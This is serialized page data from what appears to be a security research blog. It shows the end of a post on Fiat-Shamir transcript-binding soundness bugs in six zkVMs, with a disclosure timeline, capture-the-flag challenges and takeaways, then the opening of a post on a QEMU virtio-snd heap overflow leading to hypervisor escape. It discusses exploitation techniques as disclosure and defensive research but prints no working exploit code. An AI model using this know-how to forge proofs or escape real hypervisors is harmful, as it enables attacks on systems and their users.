which may not have a good understanding of the full protocol.",{"type":22,"tag":1760,"props":126402,"children":126404},{"id":126403},"the-hot-potato-problem",[126405],{"type":27,"value":126406},"The Hot Potato Problem",{"type":22,"tag":23,"props":126408,"children":126409},{},[126410],{"type":27,"value":126411},"Modern zkVMs are modular:",{"type":22,"tag":23,"props":126413,"children":126414},{},[126415],{"type":22,"tag":7959,"props":126416,"children":126419},{"alt":126417,"src":126418},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":22,"tag":23,"props":126421,"children":126422},{},[126423],{"type":27,"value":126424},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":22,"tag":1760,"props":126426,"children":126428},{"id":126427},"optimization-pressure",[126429],{"type":27,"value":126430},"Optimization Pressure",{"type":22,"tag":23,"props":126432,"children":126433},{},[126434],{"type":27,"value":126435},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":22,"tag":23,"props":126437,"children":126438},{},[126439],{"type":27,"value":126440},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":22,"tag":1760,"props":126442,"children":126444},{"id":126443},"testing-doesnt-catch-adversarial-inputs",[126445],{"type":27,"value":126446},"Testing Doesn't Catch Adversarial Inputs",{"type":22,"tag":23,"props":126448,"children":126449},{},[126450],{"type":27,"value":126451},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":22,"tag":1398,"props":126453,"children":126454},{},[],{"type":22,"tag":53,"props":126456,"children":126458},{"id":126457},"how-to-find-and-fix-these-bugs",[126459],{"type":27,"value":126460},"How to Find and Fix These Bugs",{"type":22,"tag":1760,"props":126462,"children":126464},{"id":126463},"prevention",[126465],{"type":27,"value":126466},"Prevention",{"type":22,"tag":23,"props":126468,"children":126469},{},[126470],{"type":27,"value":126471},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":22,"tag":23,"props":126473,"children":126474},{},[126475],{"type":27,"value":126476},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":22,"tag":23,"props":126478,"children":126479},{},[126480],{"type":27,"value":126481},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":22,"tag":23,"props":126483,"children":126484},{},[126485],{"type":27,"value":126486},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":22,"tag":23,"props":126488,"children":126489},{},[126490],{"type":27,"value":126491},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":22,"tag":1398,"props":126493,"children":126494},{},[],{"type":22,"tag":53,"props":126496,"children":126498},{"id":126497},"responsible-disclosure-timeline",[126499],{"type":27,"value":126500},"Responsible Disclosure Timeline",{"type":22,"tag":59741,"props":126502,"children":126503},{},[126504,126532],{"type":22,"tag":126505,"props":126506,"children":126507},"thead",{},[126508],{"type":22,"tag":126509,"props":126510,"children":126511},"tr",{},[126512,126517,126522,126527],{"type":22,"tag":126513,"props":126514,"children":126515},"th",{},[126516],{"type":27,"value":27195},{"type":22,"tag":126513,"props":126518,"children":126519},{},[126520],{"type":27,"value":126521},"Reported",{"type":22,"tag":126513,"props":126523,"children":126524},{},[126525],{"type":27,"value":126526},"Fixed",{"type":22,"tag":126513,"props":126528,"children":126529},{},[126530],{"type":27,"value":126531},"Response Time",{"type":22,"tag":126533,"props":126534,"children":126535},"tbody",{},[126536,126559,126580,126600,126622,126643],{"type":22,"tag":126509,"props":126537,"children":126538},{},[126539,126544,126549,126554],{"type":22,"tag":126540,"props":126541,"children":126542},"td",{},[126543],{"type":27,"value":111367},{"type":22,"tag":126540,"props":126545,"children":126546},{},[126547],{"type":27,"value":126548},"Sep 2025",{"type":22,"tag":126540,"props":126550,"children":126551},{},[126552],{"type":27,"value":126553},"Oct 3, 2025",{"type":22,"tag":126540,"props":126555,"children":126556},{},[126557],{"type":27,"value":126558},"\u003C1 week",{"type":22,"tag":126509,"props":126560,"children":126561},{},[126562,126566,126571,126576],{"type":22,"tag":126540,"props":126563,"children":126564},{},[126565],{"type":27,"value":111373},{"type":22,"tag":126540,"props":126567,"children":126568},{},[126569],{"type":27,"value":126570},"Oct 2025",{"type":22,"tag":126540,"props":126572,"children":126573},{},[126574],{"type":27,"value":126575},"Oct 24, 2025",{"type":22,"tag":126540,"props":126577,"children":126578},{},[126579],{"type":27,"value":126558},{"type":22,"tag":126509,"props":126581,"children":126582},{},[126583,126587,126591,126596],{"type":22,"tag":126540,"props":126584,"children":126585},{},[126586],{"type":27,"value":111379},{"type":22,"tag":126540,"props":126588,"children":126589},{},[126590],{"type":27,"value":126570},{"type":22,"tag":126540,"props":126592,"children":126593},{},[126594],{"type":27,"value":126595},"Oct 31, 2025",{"type":22,"tag":126540,"props":126597,"children":126598},{},[126599],{"type":27,"value":126558},{"type":22,"tag":126509,"props":126601,"children":126602},{},[126603,126607,126612,126617],{"type":22,"tag":126540,"props":126604,"children":126605},{},[126606],{"type":27,"value":111385},{"type":22,"tag":126540,"props":126608,"children":126609},{},[126610],{"type":27,"value":126611},"Nov 2025",{"type":22,"tag":126540,"props":126613,"children":126614},{},[126615],{"type":27,"value":126616},"Mar 5, 2026",{"type":22,"tag":126540,"props":126618,"children":126619},{},[126620],{"type":27,"value":126621},"~4 months",{"type":22,"tag":126509,"props":126623,"children":126624},{},[126625,126629,126634,126639],{"type":22,"tag":126540,"props":126626,"children":126627},{},[126628],{"type":27,"value":111397},{"type":22,"tag":126540,"props":126630,"children":126631},{},[126632],{"type":27,"value":126633},"Dec 2025",{"type":22,"tag":126540,"props":126635,"children":126636},{},[126637],{"type":27,"value":126638},"Dec 29, 2025",{"type":22,"tag":126540,"props":126640,"children":126641},{},[126642],{"type":27,"value":126558},{"type":22,"tag":126509,"props":126644,"children":126645},{},[126646,126650,126654,126659],{"type":22,"tag":126540,"props":126647,"children":126648},{},[126649],{"type":27,"value":111391},{"type":22,"tag":126540,"props":126651,"children":126652},{},[126653],{"type":27,"value":126611},{"type":22,"tag":126540,"props":126655,"children":126656},{},[126657],{"type":27,"value":126658},"Jan 21, 2026?",{"type":22,"tag":126540,"props":126660,"children":126661},{},[126662],{"type":27,"value":126663},"3 months",{"type":22,"tag":23,"props":126665,"children":126666},{},[126667],{"type":27,"value":126668},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":22,"tag":1398,"props":126670,"children":126671},{},[],{"type":22,"tag":53,"props":126673,"children":126675},{"id":126674},"challenges",[126676],{"type":27,"value":111410},{"type":22,"tag":23,"props":126678,"children":126679},{},[126680,126682],{"type":27,"value":126681},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":22,"tag":126683,"props":126684,"children":126685},"del",{},[126686],{"type":27,"value":126687},"the first 10 solvers will get a T-shirt.",{"type":22,"tag":23,"props":126689,"children":126690},{},[126691,126693,126746,126747,127003],{"type":27,"value":126692},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":22,"tag":30,"props":126694,"children":126696},{"className":126695},[8026,8027],[126697],{"type":22,"tag":101,"props":126698,"children":126700},{"className":126699},[8032],[126701],{"type":22,"tag":101,"props":126702,"children":126704},{"className":126703,"ariaHidden":5608},[8037],[126705],{"type":22,"tag":101,"props":126706,"children":126708},{"className":126707},[8042],[126709,126713,126718,126723,126727,126732,126737,126741],{"type":22,"tag":101,"props":126710,"children":126712},{"className":126711,"style":118609},[8047],[],{"type":22,"tag":101,"props":126714,"children":126716},{"className":126715},[8053,25575],[126717],{"type":27,"value":80},{"type":22,"tag":101,"props":126719,"children":126721},{"className":126720},[8165],[126722],{"type":27,"value":8168},{"type":22,"tag":101,"props":126724,"children":126726},{"className":126725,"style":8172},[8133],[],{"type":22,"tag":101,"props":126728,"children":126730},{"className":126729},[8053,25575],[126731],{"type":27,"value":7262},{"type":22,"tag":101,"props":126733,"children":126735},{"className":126734},[8165],[126736],{"type":27,"value":8168},{"type":22,"tag":101,"props":126738,"children":126740},{"className":126739,"style":8172},[8133],[],{"type":22,"tag":101,"props":126742,"children":126744},{"className":126743},[8053,25575],[126745],{"type":27,"value":7187},{"type":27,"value":113210},{"type":22,"tag":30,"props":126748,"children":126750},{"className":126749},[8026,8027],[126751],{"type":22,"tag":101,"props":126752,"children":126754},{"className":126753},[8032],[126755],{"type":22,"tag":101,"props":126756,"children":126758},{"className":126757,"ariaHidden":5608},[8037],[126759,126822,126884,126990],{"type":22,"tag":101,"props":126760,"children":126762},{"className":126761},[8042],[126763,126768,126809,126813,126818],{"type":22,"tag":101,"props":126764,"children":126767},{"className":126765,"style":126766},[8047],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":126769,"children":126771},{"className":126770},[8053],[126772,126777],{"type":22,"tag":101,"props":126773,"children":126775},{"className":126774},[8053,25575],[126776],{"type":27,"value":80},{"type":22,"tag":101,"props":126778,"children":126780},{"className":126779},[8069],[126781],{"type":22,"tag":101,"props":126782,"children":126784},{"className":126783},[8074],[126785],{"type":22,"tag":101,"props":126786,"children":126788},{"className":126787},[8079],[126789],{"type":22,"tag":101,"props":126790,"children":126792},{"className":126791,"style":8048},[8084],[126793],{"type":22,"tag":101,"props":126794,"children":126795},{"style":8088},[126796,126800],{"type":22,"tag":101,"props":126797,"children":126799},{"className":126798,"style":8094},[8093],[],{"type":22,"tag":101,"props":126801,"children":126803},{"className":126802},[8099,8100,8101,8102],[126804],{"type":22,"tag":101,"props":126805,"children":126807},{"className":126806},[8053,8102],[126808],{"type":27,"value":21293},{"type":22,"tag":101,"props":126810,"children":126812},{"className":126811,"style":8134},[8133],[],{"type":22,"tag":101,"props":126814,"children":126816},{"className":126815},[8139],[126817],{"type":27,"value":8426},{"type":22,"tag":101,"props":126819,"children":126821},{"className":126820,"style":8134},[8133],[],{"type":22,"tag":101,"props":126823,"children":126825},{"className":126824},[8042],[126826,126830,126871,126875,126880],{"type":22,"tag":101,"props":126827,"children":126829},{"className":126828,"style":8048},[8047],[],{"type":22,"tag":101,"props":126831,"children":126833},{"className":126832},[8053],[126834,126839],{"type":22,"tag":101,"props":126835,"children":126837},{"className":126836},[8053,25575],[126838],{"type":27,"value":7262},{"type":22,"tag":101,"props":126840,"children":126842},{"className":126841},[8069],[126843],{"type":22,"tag":101,"props":126844,"children":126846},{"className":126845},[8074],[126847],{"type":22,"tag":101,"props":126848,"children":126850},{"className":126849},[8079],[126851],{"type":22,"tag":101,"props":126852,"children":126854},{"className":126853,"style":8048},[8084],[126855],{"type":22,"tag":101,"props":126856,"children":126857},{"style":8088},[126858,126862],{"type":22,"tag":101,"props":126859,"children":126861},{"className":126860,"style":8094},[8093],[],{"type":22,"tag":101,"props":126863,"children":126865},{"className":126864},[8099,8100,8101,8102],[126866],{"type":22,"tag":101,"props":126867,"children":126869},{"className":126868},[8053,8102],[126870],{"type":27,"value":21293},{"type":22,"tag":101,"props":126872,"children":126874},{"className":126873,"style":8231},[8133],[],{"type":22,"tag":101,"props":126876,"children":126878},{"className":126877},[8236],[126879],{"type":27,"value":1511},{"type":22,"tag":101,"props":126881,"children":126883},{"className":126882,"style":8231},[8133],[],{"type":22,"tag":101,"props":126885,"children":126887},{"className":126886},[8042],[126888,126893,126934,126939,126943,126948,126953,126957,126962,126967,126971,126976,126980,126986],{"type":22,"tag":101,"props":126889,"children":126892},{"className":126890,"style":126891},[8047],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":126894,"children":126896},{"className":126895},[8053],[126897,126902],{"type":22,"tag":101,"props":126898,"children":126900},{"className":126899},[8053,25575],[126901],{"type":27,"value":7187},{"type":22,"tag":101,"props":126903,"children":126905},{"className":126904},[8069],[126906],{"type":22,"tag":101,"props":126907,"children":126909},{"className":126908},[8074],[126910],{"type":22,"tag":101,"props":126911,"children":126913},{"className":126912},[8079],[126914],{"type":22,"tag":101,"props":126915,"children":126917},{"className":126916,"style":8048},[8084],[126918],{"type":22,"tag":101,"props":126919,"children":126920},{"style":8088},[126921,126925],{"type":22,"tag":101,"props":126922,"children":126924},{"className":126923,"style":8094},[8093],[],{"type":22,"tag":101,"props":126926,"children":126928},{"className":126927},[8099,8100,8101,8102],[126929],{"type":22,"tag":101,"props":126930,"children":126932},{"className":126931},[8053,8102],[126933],{"type":27,"value":21293},{"type":22,"tag":101,"props":126935,"children":126937},{"className":126936},[8165],[126938],{"type":27,"value":8168},{"type":22,"tag":101,"props":126940,"children":126942},{"className":126941,"style":8172},[8133],[],{"type":22,"tag":101,"props":126944,"children":126946},{"className":126945},[8053,25575],[126947],{"type":27,"value":80},{"type":22,"tag":101,"props":126949,"children":126951},{"className":126950},[8165],[126952],{"type":27,"value":8168},{"type":22,"tag":101,"props":126954,"children":126956},{"className":126955,"style":8172},[8133],[],{"type":22,"tag":101,"props":126958,"children":126960},{"className":126959},[8053,25575],[126961],{"type":27,"value":7262},{"type":22,"tag":101,"props":126963,"children":126965},{"className":126964},[8165],[126966],{"type":27,"value":8168},{"type":22,"tag":101,"props":126968,"children":126970},{"className":126969,"style":8172},[8133],[],{"type":22,"tag":101,"props":126972,"children":126974},{"className":126973},[8053,25575],[126975],{"type":27,"value":7187},{"type":22,"tag":101,"props":126977,"children":126979},{"className":126978,"style":8231},[8133],[],{"type":22,"tag":101,"props":126981,"children":126983},{"className":126982},[8236],[126984],{"type":27,"value":126985},"≥",{"type":22,"tag":101,"props":126987,"children":126989},{"className":126988,"style":8231},[8133],[],{"type":22,"tag":101,"props":126991,"children":126993},{"className":126992},[8042],[126994,126998],{"type":22,"tag":101,"props":126995,"children":126997},{"className":126996,"style":97585},[8047],[],{"type":22,"tag":101,"props":126999,"children":127001},{"className":127000},[8053],[127002],{"type":27,"value":6813},{"type":27,"value":127004},". Good luck!",{"type":22,"tag":1760,"props":127006,"children":127008},{"id":127007},"jolt",[127009],{"type":27,"value":111367},{"type":22,"tag":23,"props":127011,"children":127012},{},[127013,127015,127026,127028],{"type":27,"value":127014},"See ",{"type":22,"tag":80,"props":127016,"children":127023},{"href":127017,"target":127018,"rel":127019,"download":127022},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[127020,127021],"noopener","noreferrer","handout_jolt.tar.gz",[127024],{"type":27,"value":127025},"the handout",{"type":27,"value":127027}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":22,"tag":30,"props":127029,"children":127031},{"className":127030},[],[127032],{"type":27,"value":127033},"jolt.chal.osec.io:8960",{"type":22,"tag":1760,"props":127035,"children":127037},{"id":127036},"nexus-1",[127038],{"type":27,"value":111373},{"type":22,"tag":23,"props":127040,"children":127041},{},[127042,127043,127050,127051],{"type":27,"value":127014},{"type":22,"tag":80,"props":127044,"children":127048},{"href":127045,"target":127018,"rel":127046,"download":127047},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[127020,127021],"handout_nexus.tar.gz",[127049],{"type":27,"value":127025},{"type":27,"value":127027},{"type":22,"tag":30,"props":127052,"children":127054},{"className":127053},[],[127055],{"type":27,"value":127056},"nexus.chal.osec.io:8950",{"type":22,"tag":23,"props":127058,"children":127059},{},[127060],{"type":27,"value":127061},"Now you should have enough margin to prove Fermat wrong.",{"type":22,"tag":1398,"props":127063,"children":127064},{},[],{"type":22,"tag":53,"props":127066,"children":127068},{"id":127067},"takeaways",[127069],{"type":27,"value":127070},"Takeaways",{"type":22,"tag":23,"props":127072,"children":127073},{},[127074],{"type":27,"value":127075},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":22,"tag":23,"props":127077,"children":127078},{},[127079],{"type":27,"value":127080},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":22,"tag":23,"props":127082,"children":127083},{},[127084,127089],{"type":22,"tag":9370,"props":127085,"children":127086},{},[127087],{"type":27,"value":127088},"For the ZK ecosystem:",{"type":27,"value":127090}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":22,"tag":23,"props":127092,"children":127093},{},[127094],{"type":27,"value":127095},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":22,"tag":23,"props":127097,"children":127098},{},[127099,127104],{"type":22,"tag":9370,"props":127100,"children":127101},{},[127102],{"type":27,"value":127103},"For auditors:",{"type":27,"value":127105}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":22,"tag":23,"props":127107,"children":127108},{},[127109,127114],{"type":22,"tag":9370,"props":127110,"children":127111},{},[127112],{"type":27,"value":127113},"For builders:",{"type":27,"value":127115}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":22,"tag":6891,"props":127117,"children":127118},{},[127119],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":127121},[127122,127123,127126,127132,127133,127141,127147,127150,127151,127155],{"id":111418,"depth":157,"text":111421},{"id":111560,"depth":157,"text":111563,"children":127124},[127125],{"id":111566,"depth":182,"text":111569},{"id":111995,"depth":157,"text":111998,"children":127127},[127128,127129,127130,127131],{"id":112006,"depth":182,"text":112009},{"id":112194,"depth":182,"text":112197},{"id":115575,"depth":182,"text":115578},{"id":116789,"depth":182,"text":116792},{"id":118426,"depth":157,"text":118429},{"id":118932,"depth":157,"text":118935,"children":127134},[127135,127136,127137,127138,127139,127140],{"id":118954,"depth":182,"text":118957},{"id":120279,"depth":182,"text":111373},{"id":121415,"depth":182,"text":121418},{"id":122083,"depth":182,"text":122086},{"id":124739,"depth":182,"text":124742},{"id":125293,"depth":182,"text":111397},{"id":126222,"depth":157,"text":126225,"children":127142},[127143,127144,127145,127146],{"id":126233,"depth":182,"text":126236},{"id":126403,"depth":182,"text":126406},{"id":126427,"depth":182,"text":126430},{"id":126443,"depth":182,"text":126446},{"id":126457,"depth":157,"text":126460,"children":127148},[127149],{"id":126463,"depth":182,"text":126466},{"id":126497,"depth":157,"text":126500},{"id":126674,"depth":157,"text":111410,"children":127152},[127153,127154],{"id":127007,"depth":182,"text":111367},{"id":127036,"depth":182,"text":111373},{"id":127067,"depth":157,"text":127070},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":127160,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":127161,"description":127162,"date":127163,"author":127164,"image":127165,"isFeatured":15,"onBlogPage":15,"tags":127167,"body":127170,"_type":6912,"_id":135456,"_source":6914,"_file":135457,"_stem":135458,"_extension":6917},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":127166,"width":100775,"height":17626},"/posts/virtio-snd-qemu-0day/title.png",[127168,127169],"qemu","heap-overflow",{"type":19,"children":127171,"toc":135438},[127172,127177,127182,127187,127193,127198,127203,127211,127217,127229,127233,127238,127246,127251,127257,127262,127275,127885,127920,127965,127999,128034,128169,128217,128223,128228,128984,129029,129065,129100,129165,129185,129635,129682,129685,129690,129755,129781,129803,129807,129812,129817,129823,129828,129833,129838,129844,129857,129863,129868,129876,129946,129951,129957,129970,130196,130259,130278,130661,130666,130699,130704,130980,130992,131010,131289,131301,131304,131339,131344,131350,131362,131374,131379,131384,131394,131429,132046,132078,132089,132125,132138,132144,132156,132164,132190,132195,132228,132269,132275,132294,132332,132340,132389,132394,132443,132448,132456,132543,132549,132588,132600,132608,132626,132645,132653,132665,132673,132692,132700,132711,132719,132730,132738,132751,132759,132765,132770,132783,132791,132809,132817,132829,132834,132842,132878,132911,132918,132952,132960,132965,132971,132983,132994,133273,133333,133401,133409,133443,134047,134058,134066,134072,134077,134088,134842,134875,134887,134973,134993,135202,135249,135261,135267,135286,135312,135340,135356,135383,135386,135406,135420,135424,135429,135434],{"type":22,"tag":23,"props":127173,"children":127174},{},[127175],{"type":27,"value":127176},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":22,"tag":53,"props":127178,"children":127179},{"id":127168},[127180],{"type":27,"value":127181},"QEMU",{"type":22,"tag":23,"props":127183,"children":127184},{},[127185],{"type":27,"value":127186},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":22,"tag":1760,"props":127188,"children":127190},{"id":127189},"virtio-devices",[127191],{"type":27,"value":127192},"Virtio Devices",{"type":22,"tag":23,"props":127194,"children":127195},{},[127196],{"type":27,"value":127197},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":22,"tag":23,"props":127199,"children":127200},{},[127201],{"type":27,"value":127202},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":22,"tag":23,"props":127204,"children":127205},{},[127206],{"type":22,"tag":7959,"props":127207,"children":127210},{"alt":127208,"src":127209},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":22,"tag":53,"props":127212,"children":127214},{"id":127213},"finding-a-bug",[127215],{"type":27,"value":127216},"Finding a Bug",{"type":22,"tag":23,"props":127218,"children":127219},{},[127220,127222,127228],{"type":27,"value":127221},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":22,"tag":30,"props":127223,"children":127225},{"className":127224},[],[127226],{"type":27,"value":127227},"virtio-snd",{"type":27,"value":231},{"type":22,"tag":1760,"props":127230,"children":127231},{"id":127227},[127232],{"type":27,"value":127227},{"type":22,"tag":23,"props":127234,"children":127235},{},[127236],{"type":27,"value":127237},"From the official documentation:",{"type":22,"tag":604,"props":127239,"children":127240},{},[127241],{"type":22,"tag":23,"props":127242,"children":127243},{},[127244],{"type":27,"value":127245},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":22,"tag":23,"props":127247,"children":127248},{},[127249],{"type":27,"value":127250},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":22,"tag":22883,"props":127252,"children":127254},{"id":127253},"audio-data-buffers",[127255],{"type":27,"value":127256},"Audio Data Buffers",{"type":22,"tag":23,"props":127258,"children":127259},{},[127260],{"type":27,"value":127261},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":22,"tag":23,"props":127263,"children":127264},{},[127265,127267,127273],{"type":27,"value":127266},"For example, the following is ",{"type":22,"tag":30,"props":127268,"children":127270},{"className":127269},[],[127271],{"type":27,"value":127272},"virtio_snd_handle_rx_xfer",{"type":27,"value":127274},", which is responsible for allocating buffers for an input audio stream:",{"type":22,"tag":91,"props":127276,"children":127278},{"code":127277,"language":7187,"meta":7,"className":20513,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[127279],{"type":22,"tag":30,"props":127280,"children":127281},{"__ignoreMap":7},[127282,127289,127297,127305,127312,127320,127328,127336,127384,127391,127408,127415,127422,127434,127451,127458,127494,127514,127525,127532,127539,127547,127554,127587,127646,127664,127703,127728,127752,127780,127807,127845,127852,127864,127871,127878],{"type":22,"tag":101,"props":127283,"children":127284},{"class":103,"line":104},[127285],{"type":22,"tag":101,"props":127286,"children":127287},{"style":2215},[127288],{"type":27,"value":53362},{"type":22,"tag":101,"props":127290,"children":127291},{"class":103,"line":157},[127292],{"type":22,"tag":101,"props":127293,"children":127294},{"style":2215},[127295],{"type":27,"value":127296}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":22,"tag":101,"props":127298,"children":127299},{"class":103,"line":182},[127300],{"type":22,"tag":101,"props":127301,"children":127302},{"style":2215},[127303],{"type":27,"value":127304}," * respective streams for consumption.\n",{"type":22,"tag":101,"props":127306,"children":127307},{"class":103,"line":367},[127308],{"type":22,"tag":101,"props":127309,"children":127310},{"style":2215},[127311],{"type":27,"value":23479},{"type":22,"tag":101,"props":127313,"children":127314},{"class":103,"line":398},[127315],{"type":22,"tag":101,"props":127316,"children":127317},{"style":2215},[127318],{"type":27,"value":127319}," * @vdev: VirtIOSound device\n",{"type":22,"tag":101,"props":127321,"children":127322},{"class":103,"line":428},[127323],{"type":22,"tag":101,"props":127324,"children":127325},{"style":2215},[127326],{"type":27,"value":127327}," * @vq: rx virtqueue\n",{"type":22,"tag":101,"props":127329,"children":127330},{"class":103,"line":997},[127331],{"type":22,"tag":101,"props":127332,"children":127333},{"style":2215},[127334],{"type":27,"value":127335}," */\n",{"type":22,"tag":101,"props":127337,"children":127338},{"class":103,"line":1032},[127339,127343,127347,127352,127357,127361,127366,127371,127375,127380],{"type":22,"tag":101,"props":127340,"children":127341},{"style":108},[127342],{"type":27,"value":55040},{"type":22,"tag":101,"props":127344,"children":127345},{"style":108},[127346],{"type":27,"value":55045},{"type":22,"tag":101,"props":127348,"children":127349},{"style":926},[127350],{"type":27,"value":127351}," virtio_snd_handle_rx_xfer",{"type":22,"tag":101,"props":127353,"children":127354},{"style":120},[127355],{"type":27,"value":127356},"(VirtIODevice ",{"type":22,"tag":101,"props":127358,"children":127359},{"style":166},[127360],{"type":27,"value":8615},{"type":22,"tag":101,"props":127362,"children":127363},{"style":126},[127364],{"type":27,"value":127365},"vdev",{"type":22,"tag":101,"props":127367,"children":127368},{"style":120},[127369],{"type":27,"value":127370},", VirtQueue ",{"type":22,"tag":101,"props":127372,"children":127373},{"style":166},[127374],{"type":27,"value":8615},{"type":22,"tag":101,"props":127376,"children":127377},{"style":126},[127378],{"type":27,"value":127379},"vq",{"type":22,"tag":101,"props":127381,"children":127382},{"style":120},[127383],{"type":27,"value":2510},{"type":22,"tag":101,"props":127385,"children":127386},{"class":103,"line":1063},[127387],{"type":22,"tag":101,"props":127388,"children":127389},{"style":120},[127390],{"type":27,"value":14886},{"type":22,"tag":101,"props":127392,"children":127393},{"class":103,"line":1071},[127394,127399,127403],{"type":22,"tag":101,"props":127395,"children":127396},{"style":120},[127397],{"type":27,"value":127398}," VirtQueueElement ",{"type":22,"tag":101,"props":127400,"children":127401},{"style":166},[127402],{"type":27,"value":8615},{"type":22,"tag":101,"props":127404,"children":127405},{"style":120},[127406],{"type":27,"value":127407},"elem;\n",{"type":22,"tag":101,"props":127409,"children":127410},{"class":103,"line":1110},[127411],{"type":22,"tag":101,"props":127412,"children":127413},{"style":120},[127414],{"type":27,"value":108308},{"type":22,"tag":101,"props":127416,"children":127417},{"class":103,"line":1118},[127418],{"type":22,"tag":101,"props":127419,"children":127420},{"emptyLinePlaceholder":15},[127421],{"type":27,"value":1581},{"type":22,"tag":101,"props":127423,"children":127424},{"class":103,"line":1158},[127425,127429],{"type":22,"tag":101,"props":127426,"children":127427},{"style":3595},[127428],{"type":27,"value":7078},{"type":22,"tag":101,"props":127430,"children":127431},{"style":120},[127432],{"type":27,"value":127433}," (;;) {\n",{"type":22,"tag":101,"props":127435,"children":127436},{"class":103,"line":1166},[127437,127442,127446],{"type":22,"tag":101,"props":127438,"children":127439},{"style":120},[127440],{"type":27,"value":127441}," VirtIOSoundPCMStream 